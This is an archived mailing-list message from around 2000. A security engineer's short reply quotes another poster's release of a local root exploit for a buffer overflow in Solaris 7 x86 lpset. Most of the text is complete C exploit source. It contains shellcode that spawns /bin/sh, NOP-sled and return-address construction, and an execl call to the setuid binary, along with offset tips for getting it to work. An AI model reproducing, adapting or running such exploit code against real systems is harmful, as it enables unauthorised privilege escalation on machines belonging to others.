Cheers,
Also available on multiple sites (technotronic, Argosnet, rootshell, ...) since a very
long time.
As said previously, will mail the Sparc version
Laurent LEVIER
IT Systems & Networks, Unix System Engineer
Security Specialist
Argosnet Security Server : http://www.Argosnet.com
"Le Veilleur Technologique", "The Technology Watcher"
At 15:24 24/04/00 +0000, Theodor Ragnar Gislason wrote:
>Solaris 7 x86 /usr/bin/lpset overflow, there is a small overflow(32 bytes)
>in lpset which will yield root access if properly exploited.
>
>There is a sparc version avail for this bug, the bug was discovered by
>duke some time ago.
>
>I am releasing this exploit because of a copy-cat exploit on hack.co.za.
>
>For this exploit we use AAAA,RET,NOP,CODE.
>
>/*
> *
> * solaris 2.7 lpset local exploit, i386.
> * discovered by: duke
> * not the same as on bt.
> * if exploit dosenīt work try offset from 300-450
> *
> * greets: duke, #!ADM, #!security.is, #hax
> *
> * DiGiT - [EMAIL PROTECTED]
> *
>*/
>
>
>#include <unistd.h>
>#include <stdio.h>
>#include <stdlib.h>
>#include <string.h>
>
>char shellcode[] =
> "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
> "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
> "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"
> "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
> "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
> "\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff";
>
>long get_esp() { __asm__("movl %esp,%eax"); }
>
>int main (int argc, char *argv[]) {
>
> long offset=410;
> int nop=64;
> int gab=40;
> long addr;
> char buffer[210];
> int i, a, b;
>
>if (argc > 1) offset = strtol(argv[1], NULL, 0);
>if (argc > 2) gab = strtol(argv[2], NULL, 0);
>if (argc > 3) nop = strtol(argv[2], NULL, 0);
>
> for (a = 0; a <gab; a++)
> buffer[a] = 'A';
>
> addr = get_esp() + offset;
>
> buffer[a++] = addr & 0x000000ff;
> buffer[a++] = (addr & 0x0000ff00) >> 8;
> buffer[a++] = (addr & 0x00ff0000) >> 16;
> buffer[a++] = (addr & 0xff000000) >> 24;
>
> for ( ; a < nop; a++)
> buffer[a] = 0x90;
>
> for (b = 0; b < strlen(shellcode); b++, a++)
> buffer[a] = shellcode[b];
>
> buffer[strlen(buffer)] = '\0';
>
> printf("addr = 0x%x\n", addr);
> execl("/usr/bin/lpset", "lpset", "-n", "fns", "-r", buffer,"digit", NULL);
>
>}
